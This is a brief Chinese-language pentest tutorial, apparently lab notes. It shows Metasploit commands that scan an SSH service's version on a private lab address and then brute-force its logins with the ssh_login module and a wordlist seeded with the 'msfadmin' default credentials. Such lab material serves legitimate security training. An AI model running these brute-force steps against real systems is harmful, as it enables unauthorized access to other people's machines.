基于 SSH 协议收集信息

基于 SSH 协议收集信息

1.查看 ssh 服务的版本信息

msf6 > use auxiliary/scanner/ssh/ssh_version

msf6 auxiliary(scanner/ssh/ssh_version) > show options

msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.215.67

msf6 auxiliary(scanner/ssh/ssh_version) > run

2.对 SSH 暴力破解

msf6 > use auxiliary/scanner/ssh/ssh_login

msf6 auxiliary(scanner/ssh/ssh_login) > show options

msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.215.67

msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE

/usr/share/metasploit-framework/data/wordlists/root_userpass.txt

新开一个终端窗口

root@kali:~# echo "msfadmin msfadmin" >>

/usr/share/metasploit-framework/data/wordlists/root_userpass.txt

回到 MSF 终端

msf6 auxiliary(scanner/ssh/ssh_login) > run